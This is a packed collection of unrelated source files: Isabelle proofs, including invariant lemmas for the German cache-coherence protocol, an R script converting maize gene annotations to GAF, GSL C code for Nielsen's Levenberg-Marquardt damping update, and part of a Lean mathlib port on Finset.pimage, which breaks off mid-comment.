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[STATEMENT]
lemma [simp]: "P,C,M,pc \<rhd> []"
[PROOF STATE]
proof (prove)
goal (1 subgoal):
1. P,C,M,pc \<rhd> []
[PROOF STEP]
by(simp add:before_def) |
library("reshape2")
source("code/gaf_tools.r")
source("code/obo_tools.r")
source("code/phyto2gaf.r")
source("code/gramene2gaf.r")
gaf_cols = fread("../../gaf_cols.txt",header = F)$V1
gaf_date = format(Sys.time(),"%m%d%Y")
obo_data = check_obo_data("go.obo")
refset = fread("../maize_v3.refset.txt",header = F)$V1
phyto_in = "phytozome/raw/Zmays_284_5b+.annotation_info.txt"
phyto_out = "phytozome/gaf/maize_v3.phytozome.gaf"
phyto2gaf(phyto_in,phyto_out)
gramene_in = "gramene/raw/zea_mays_release49.gaf"
gramene_out = "gramene/gaf/gramene49.gaf"
gramene2gaf(gramene_in,gramene_out) |
(* Title: HOL/Auth/n_german_lemma_on_inv__40.thy
Author: Yongjian Li and Kaiqiang Duan, State Key Lab of Computer Science, Institute of Software, Chinese Academy of Sciences
Copyright 2016 State Key Lab of Computer Science, Institute of Software, Chinese Academy of Sciences
*)
header{*The n_german Protocol Case Study*}
theory n_german_lemma_on_inv__40 imports n_german_base
begin
section{*All lemmas on causal relation between inv__40 and some rule r*}
lemma n_RecvReqVsinv__40:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_RecvReq N i)" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_RecvReq N i" apply fastforce done
from a2 obtain p__Inv3 p__Inv4 where a2:"p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4" apply fastforce done
have "(i=p__Inv4)\<or>(i=p__Inv3)\<or>(i~=p__Inv3\<and>i~=p__Inv4)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv4)"
have "?P3 s"
apply (cut_tac a1 a2 b1, simp, rule_tac x="(neg (andForm (eqn (IVar (Para (Ident ''ShrSet'') p__Inv4)) (Const true)) (eqn (IVar (Field (Para (Ident ''Chan2'') p__Inv3) ''Cmd'')) (Const GntE))))" in exI, auto) done
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i=p__Inv3)"
have "?P3 s"
apply (cut_tac a1 a2 b1, simp, rule_tac x="(neg (andForm (eqn (IVar (Para (Ident ''ShrSet'') p__Inv4)) (Const true)) (eqn (IVar (Field (Para (Ident ''Chan2'') p__Inv3) ''Cmd'')) (Const GntE))))" in exI, auto) done
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv3\<and>i~=p__Inv4)"
have "?P3 s"
apply (cut_tac a1 a2 b1, simp, rule_tac x="(neg (andForm (eqn (IVar (Para (Ident ''ShrSet'') p__Inv4)) (Const true)) (eqn (IVar (Field (Para (Ident ''Chan2'') p__Inv3) ''Cmd'')) (Const GntE))))" in exI, auto) done
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_SendInvEVsinv__40:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_SendInvE i)" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_SendInvE i" apply fastforce done
from a2 obtain p__Inv3 p__Inv4 where a2:"p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4" apply fastforce done
have "(i=p__Inv4)\<or>(i=p__Inv3)\<or>(i~=p__Inv3\<and>i~=p__Inv4)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv4)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i=p__Inv3)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv3\<and>i~=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_SendInvSVsinv__40:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_SendInvS i)" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_SendInvS i" apply fastforce done
from a2 obtain p__Inv3 p__Inv4 where a2:"p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4" apply fastforce done
have "(i=p__Inv4)\<or>(i=p__Inv3)\<or>(i~=p__Inv3\<and>i~=p__Inv4)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv4)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i=p__Inv3)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv3\<and>i~=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_SendInvAckVsinv__40:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_SendInvAck i)" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_SendInvAck i" apply fastforce done
from a2 obtain p__Inv3 p__Inv4 where a2:"p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4" apply fastforce done
have "(i=p__Inv4)\<or>(i=p__Inv3)\<or>(i~=p__Inv3\<and>i~=p__Inv4)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i=p__Inv3)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv3\<and>i~=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_SendGntSVsinv__40:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_SendGntS i)" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_SendGntS i" apply fastforce done
from a2 obtain p__Inv3 p__Inv4 where a2:"p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4" apply fastforce done
have "(i=p__Inv4)\<or>(i=p__Inv3)\<or>(i~=p__Inv3\<and>i~=p__Inv4)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i=p__Inv3)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv3\<and>i~=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_SendGntEVsinv__40:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_SendGntE N i)" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_SendGntE N i" apply fastforce done
from a2 obtain p__Inv3 p__Inv4 where a2:"p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4" apply fastforce done
have "(i=p__Inv4)\<or>(i=p__Inv3)\<or>(i~=p__Inv3\<and>i~=p__Inv4)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i=p__Inv3)"
have "?P3 s"
apply (cut_tac a1 a2 b1, simp, rule_tac x="(neg (andForm (eqn (IVar (Para (Ident ''InvSet'') p__Inv4)) (Const true)) (eqn (IVar (Para (Ident ''ShrSet'') p__Inv4)) (Const false))))" in exI, auto) done
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv3\<and>i~=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_RecvGntSVsinv__40:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_RecvGntS i)" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_RecvGntS i" apply fastforce done
from a2 obtain p__Inv3 p__Inv4 where a2:"p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4" apply fastforce done
have "(i=p__Inv4)\<or>(i=p__Inv3)\<or>(i~=p__Inv3\<and>i~=p__Inv4)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i=p__Inv3)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv3\<and>i~=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_RecvGntEVsinv__40:
assumes a1: "(\<exists> i. i\<le>N\<and>r=n_RecvGntE i)" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)" (is "?P1 s \<or> ?P2 s \<or> ?P3 s")
proof -
from a1 obtain i where a1:"i\<le>N\<and>r=n_RecvGntE i" apply fastforce done
from a2 obtain p__Inv3 p__Inv4 where a2:"p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4" apply fastforce done
have "(i=p__Inv4)\<or>(i=p__Inv3)\<or>(i~=p__Inv3\<and>i~=p__Inv4)" apply (cut_tac a1 a2, auto) done
moreover {
assume b1: "(i=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i=p__Inv3)"
have "?P1 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
moreover {
assume b1: "(i~=p__Inv3\<and>i~=p__Inv4)"
have "?P2 s"
proof(cut_tac a1 a2 b1, auto) qed
then have "invHoldForRule s f r (invariants N)" by auto
}
ultimately show "invHoldForRule s f r (invariants N)" by satx
qed
lemma n_StoreVsinv__40:
assumes a1: "\<exists> i d. i\<le>N\<and>d\<le>N\<and>r=n_Store i d" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
lemma n_SendReqESVsinv__40:
assumes a1: "\<exists> i. i\<le>N\<and>r=n_SendReqES i" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
lemma n_RecvInvAckVsinv__40:
assumes a1: "\<exists> i. i\<le>N\<and>r=n_RecvInvAck i" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
lemma n_SendReqSVsinv__40:
assumes a1: "\<exists> j. j\<le>N\<and>r=n_SendReqS j" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
lemma n_SendReqEIVsinv__40:
assumes a1: "\<exists> i. i\<le>N\<and>r=n_SendReqEI i" and
a2: "(\<exists> p__Inv3 p__Inv4. p__Inv3\<le>N\<and>p__Inv4\<le>N\<and>p__Inv3~=p__Inv4\<and>f=inv__40 p__Inv3 p__Inv4)"
shows "invHoldForRule s f r (invariants N)"
apply (rule noEffectOnRule, cut_tac a1 a2, auto) done
end
|
/* multilarge_nlinear/nielsen.c
*
* Copyright (C) 2016 Patrick Alken
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or (at
* your option) any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
/*
* This module contains routines for updating the Levenberg-Marquardt
* damping parameter on each iteration using Nielsen's method:
*
* [1] H. B. Nielsen, K. Madsen, Introduction to Optimization and
* Data Fitting, Informatics and Mathematical Modeling,
* Technical University of Denmark (DTU), 2010.
*
* 3 routines are needed to implement the update procedure:
*
* 1. init - initialize parameter prior to iteration
* 2. accept - update parameter after a step has been accepted
* 3. reject - update parameter after a step has been rejected
*/
#include <config.h>
#include <gsl/gsl_math.h>
#include <gsl/gsl_vector.h>
#include <gsl/gsl_matrix.h>
#include <gsl/gsl_linalg.h>
#include <gsl/gsl_errno.h>
#include <gsl/gsl_blas.h>
#define LM_ONE_THIRD (0.333333333333333)
static int nielsen_init(const gsl_matrix * JTJ, const gsl_vector * diag,
double * mu, long * nu);
static int nielsen_accept(const double rho, double * mu, long * nu);
static int nielsen_reject(double * mu, long * nu);
static int
nielsen_init(const gsl_matrix * JTJ, const gsl_vector * diag,
double * mu, long * nu)
{
const double mu0 = 1.0e-3;
size_t i;
double max = -1.0;
*nu = 2;
if (JTJ == NULL)
{
/* not using cholesky solver */
*mu = mu0;
return GSL_SUCCESS;
}
/* set mu = mu0 * max(diag(J~^T J~)), with J~ = J D^{-1} */
for (i = 0; i < JTJ->size1; ++i)
{
double JTJi = gsl_matrix_get(JTJ, i, i);
double di = gsl_vector_get(diag, i);
double val = JTJi / (di * di);
max = GSL_MAX(max, val);
}
*mu = mu0 * max;
return GSL_SUCCESS;
}
static int
nielsen_accept(const double rho, double * mu, long * nu)
{
double b;
/* reset nu */
*nu = 2;
b = 2.0 * rho - 1.0;
b = 1.0 - b*b*b;
*mu *= GSL_MAX(LM_ONE_THIRD, b);
return GSL_SUCCESS;
}
static int
nielsen_reject(double * mu, long * nu)
{
*mu *= (double) *nu;
/* nu := 2*nu */
*nu <<= 1;
return GSL_SUCCESS;
}
|
/-
Copyright (c) 2021 Yury Kudryashov. All rights reserved.
Released under Apache 2.0 license as described in the file LICENSE.
Authors: Yury Kudryashov
! This file was ported from Lean 3 source module data.finset.pimage
! leanprover-community/mathlib commit 0a0ec35061ed9960bf0e7ffb0335f44447b58977
! Please do not edit these lines, except to modify the commit id
! if you have ported upstream changes.
-/
import Mathbin.Data.Finset.Option
import Mathbin.Data.Pfun
/-!
# Image of a `finset α` under a partially defined function
> THIS FILE IS SYNCHRONIZED WITH MATHLIB4.
> Any changes to this file require a corresponding PR to mathlib4.
In this file we define `part.to_finset` and `finset.pimage`. We also prove some trivial lemmas about
these definitions.
## Tags
finite set, image, partial function
-/
variable {α β : Type _}
namespace Part
#print Part.toFinset /-
/-- Convert a `o : part α` with decidable `part.dom o` to `finset α`. -/
def toFinset (o : Part α) [Decidable o.Dom] : Finset α :=
o.toOption.toFinset
#align part.to_finset Part.toFinset
-/
#print Part.mem_toFinset /-
@[simp]
theorem mem_toFinset {o : Part α} [Decidable o.Dom] {x : α} : x ∈ o.toFinset ↔ x ∈ o := by
simp [to_finset]
#align part.mem_to_finset Part.mem_toFinset
-/
#print Part.toFinset_none /-
@[simp]
theorem toFinset_none [Decidable (none : Part α).Dom] : none.toFinset = (∅ : Finset α) := by
simp [to_finset]
#align part.to_finset_none Part.toFinset_none
-/
#print Part.toFinset_some /-
@[simp]
theorem toFinset_some {a : α} [Decidable (some a).Dom] : (some a).toFinset = {a} := by
simp [to_finset]
#align part.to_finset_some Part.toFinset_some
-/
#print Part.coe_toFinset /-
@[simp]
theorem coe_toFinset (o : Part α) [Decidable o.Dom] : (o.toFinset : Set α) = { x | x ∈ o } :=
Set.ext fun x => mem_toFinset
#align part.coe_to_finset Part.coe_toFinset
-/
end Part
namespace Finset
variable [DecidableEq β] {f g : α →. β} [∀ x, Decidable (f x).Dom] [∀ x, Decidable (g x).Dom]
{s t : Finset α} {b : β}
#print Finset.pimage /-
/-- Image of `s : finset α` under a partially defined function `f : α →. β`. -/
def pimage (f : α →. β) [∀ x, Decidable (f x).Dom] (s : Finset α) : Finset β :=
s.bunionᵢ fun x => (f x).toFinset
#align finset.pimage Finset.pimage
-/
/- warning: finset.mem_pimage -> Finset.mem_pimage is a dubious translation:
lean 3 declaration is
forall {α : Type.{u1}} {β : Type.{u2}} [_inst_1 : DecidableEq.{succ u2} β] {f : PFun.{u1, u2} α β} [_inst_2 : forall (x : α), Decidable (Part.Dom.{u2} β (f x))] {s : Finset.{u1} α} {b : β}, Iff (Membership.Mem.{u2, u2} β (Finset.{u2} β) (Finset.hasMem.{u2} β) b (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) s)) (Exists.{succ u1} α (fun (a : α) => Exists.{0} (Membership.Mem.{u1, u1} α (Finset.{u1} α) (Finset.hasMem.{u1} α) a s) (fun (H : Membership.Mem.{u1, u1} α (Finset.{u1} α) (Finset.hasMem.{u1} α) a s) => Membership.Mem.{u2, u2} β (Part.{u2} β) (Part.hasMem.{u2} β) b (f a))))
but is expected to have type
forall {α : Type.{u1}} {β : Type.{u2}} [_inst_1 : DecidableEq.{succ u2} β] {f : PFun.{u1, u2} α β} [_inst_2 : forall (x : α), Decidable (Part.Dom.{u2} β (f x))] {s : Finset.{u1} α} {b : β}, Iff (Membership.mem.{u2, u2} β (Finset.{u2} β) (Finset.instMembershipFinset.{u2} β) b (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) s)) (Exists.{succ u1} α (fun (a : α) => And (Membership.mem.{u1, u1} α (Finset.{u1} α) (Finset.instMembershipFinset.{u1} α) a s) (Membership.mem.{u2, u2} β (Part.{u2} β) (Part.instMembershipPart.{u2} β) b (f a))))
Case conversion may be inaccurate. Consider using '#align finset.mem_pimage Finset.mem_pimageₓ'. -/
@[simp]
theorem mem_pimage : b ∈ s.pimage f ↔ ∃ a ∈ s, b ∈ f a := by simp [pimage]
#align finset.mem_pimage Finset.mem_pimage
#print Finset.coe_pimage /-
@[simp, norm_cast]
theorem coe_pimage : (s.pimage f : Set β) = f.image s :=
Set.ext fun x => mem_pimage
#align finset.coe_pimage Finset.coe_pimage
-/
/- warning: finset.pimage_some -> Finset.pimage_some is a dubious translation:
lean 3 declaration is
forall {α : Type.{u1}} {β : Type.{u2}} [_inst_1 : DecidableEq.{succ u2} β] (s : Finset.{u1} α) (f : α -> β) [_inst_4 : forall (x : α), Decidable (Part.Dom.{u2} β (Part.some.{u2} β (f x)))], Eq.{succ u2} (Finset.{u2} β) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) (fun (x : α) => Part.some.{u2} β (f x)) (fun (x : α) => _inst_4 x) s) (Finset.image.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f s)
but is expected to have type
forall {α : Type.{u2}} {β : Type.{u1}} [_inst_1 : DecidableEq.{succ u1} β] (s : Finset.{u2} α) (f : α -> β) [_inst_4 : forall (x : α), Decidable (Part.Dom.{u1} β (Part.some.{u1} β (f x)))], Eq.{succ u1} (Finset.{u1} β) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) (fun (x : α) => Part.some.{u1} β (f x)) (fun (x : α) => _inst_4 x) s) (Finset.image.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) f s)
Case conversion may be inaccurate. Consider using '#align finset.pimage_some Finset.pimage_someₓ'. -/
@[simp]
theorem pimage_some (s : Finset α) (f : α → β) [∀ x, Decidable (Part.some <| f x).Dom] :
(s.pimage fun x => Part.some (f x)) = s.image f :=
by
ext
simp [eq_comm]
#align finset.pimage_some Finset.pimage_some
/- warning: finset.pimage_congr -> Finset.pimage_congr is a dubious translation:
lean 3 declaration is
forall {α : Type.{u1}} {β : Type.{u2}} [_inst_1 : DecidableEq.{succ u2} β] {f : PFun.{u1, u2} α β} {g : PFun.{u1, u2} α β} [_inst_2 : forall (x : α), Decidable (Part.Dom.{u2} β (f x))] [_inst_3 : forall (x : α), Decidable (Part.Dom.{u2} β (g x))] {s : Finset.{u1} α} {t : Finset.{u1} α}, (Eq.{succ u1} (Finset.{u1} α) s t) -> (forall (x : α), (Membership.Mem.{u1, u1} α (Finset.{u1} α) (Finset.hasMem.{u1} α) x t) -> (Eq.{succ u2} (Part.{u2} β) (f x) (g x))) -> (Eq.{succ u2} (Finset.{u2} β) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) s) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) g (fun (x : α) => _inst_3 x) t))
but is expected to have type
forall {α : Type.{u2}} {β : Type.{u1}} [_inst_1 : DecidableEq.{succ u1} β] {f : PFun.{u2, u1} α β} {g : PFun.{u2, u1} α β} [_inst_2 : forall (x : α), Decidable (Part.Dom.{u1} β (f x))] [_inst_3 : forall (x : α), Decidable (Part.Dom.{u1} β (g x))] {s : Finset.{u2} α} {t : Finset.{u2} α}, (Eq.{succ u2} (Finset.{u2} α) s t) -> (forall (x : α), (Membership.mem.{u2, u2} α (Finset.{u2} α) (Finset.instMembershipFinset.{u2} α) x t) -> (Eq.{succ u1} (Part.{u1} β) (f x) (g x))) -> (Eq.{succ u1} (Finset.{u1} β) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) s) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) g (fun (x : α) => _inst_3 x) t))
Case conversion may be inaccurate. Consider using '#align finset.pimage_congr Finset.pimage_congrₓ'. -/
theorem pimage_congr (h₁ : s = t) (h₂ : ∀ x ∈ t, f x = g x) : s.pimage f = t.pimage g :=
by
subst s
ext y
simp (config := { contextual := true }) [h₂]
#align finset.pimage_congr Finset.pimage_congr
#print Finset.pimage_eq_image_filter /-
/-- Rewrite `s.pimage f` in terms of `finset.filter`, `finset.attach`, and `finset.image`. -/
theorem pimage_eq_image_filter :
s.pimage f =
(filter (fun x => (f x).Dom) s).attach.image fun x => (f x).get (mem_filter.1 x.coe_prop).2 :=
by
ext x
simp [Part.mem_eq, And.exists, -exists_prop]
#align finset.pimage_eq_image_filter Finset.pimage_eq_image_filter
-/
/- warning: finset.pimage_union -> Finset.pimage_union is a dubious translation:
lean 3 declaration is
forall {α : Type.{u1}} {β : Type.{u2}} [_inst_1 : DecidableEq.{succ u2} β] {f : PFun.{u1, u2} α β} [_inst_2 : forall (x : α), Decidable (Part.Dom.{u2} β (f x))] {s : Finset.{u1} α} {t : Finset.{u1} α} [_inst_4 : DecidableEq.{succ u1} α], Eq.{succ u2} (Finset.{u2} β) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) (Union.union.{u1} (Finset.{u1} α) (Finset.hasUnion.{u1} α (fun (a : α) (b : α) => _inst_4 a b)) s t)) (Union.union.{u2} (Finset.{u2} β) (Finset.hasUnion.{u2} β (fun (a : β) (b : β) => _inst_1 a b)) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) s) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) t))
but is expected to have type
forall {α : Type.{u2}} {β : Type.{u1}} [_inst_1 : DecidableEq.{succ u1} β] {f : PFun.{u2, u1} α β} [_inst_2 : forall (x : α), Decidable (Part.Dom.{u1} β (f x))] {s : Finset.{u2} α} {t : Finset.{u2} α} [_inst_4 : DecidableEq.{succ u2} α], Eq.{succ u1} (Finset.{u1} β) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) (Union.union.{u2} (Finset.{u2} α) (Finset.instUnionFinset.{u2} α (fun (a : α) (b : α) => _inst_4 a b)) s t)) (Union.union.{u1} (Finset.{u1} β) (Finset.instUnionFinset.{u1} β (fun (a : β) (b : β) => _inst_1 a b)) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) s) (Finset.pimage.{u2, u1} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) t))
Case conversion may be inaccurate. Consider using '#align finset.pimage_union Finset.pimage_unionₓ'. -/
theorem pimage_union [DecidableEq α] : (s ∪ t).pimage f = s.pimage f ∪ t.pimage f :=
coe_inj.1 <| by simp only [coe_pimage, PFun.image_union, coe_union]
#align finset.pimage_union Finset.pimage_union
#print Finset.pimage_empty /-
@[simp]
theorem pimage_empty : pimage f ∅ = ∅ := by
ext
simp
#align finset.pimage_empty Finset.pimage_empty
-/
#print Finset.pimage_subset /-
theorem pimage_subset {t : Finset β} : s.pimage f ⊆ t ↔ ∀ x ∈ s, ∀ y ∈ f x, y ∈ t := by
simp [subset_iff, @forall_swap _ β]
#align finset.pimage_subset Finset.pimage_subset
-/
/- warning: finset.pimage_mono -> Finset.pimage_mono is a dubious translation:
lean 3 declaration is
forall {α : Type.{u1}} {β : Type.{u2}} [_inst_1 : DecidableEq.{succ u2} β] {f : PFun.{u1, u2} α β} [_inst_2 : forall (x : α), Decidable (Part.Dom.{u2} β (f x))] {s : Finset.{u1} α} {t : Finset.{u1} α}, (HasSubset.Subset.{u1} (Finset.{u1} α) (Finset.hasSubset.{u1} α) s t) -> (HasSubset.Subset.{u2} (Finset.{u2} β) (Finset.hasSubset.{u2} β) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) s) (Finset.pimage.{u1, u2} α β (fun (a : β) (b : β) => _inst_1 a b) f (fun (x : α) => _inst_2 x) t))
but is expected to have type
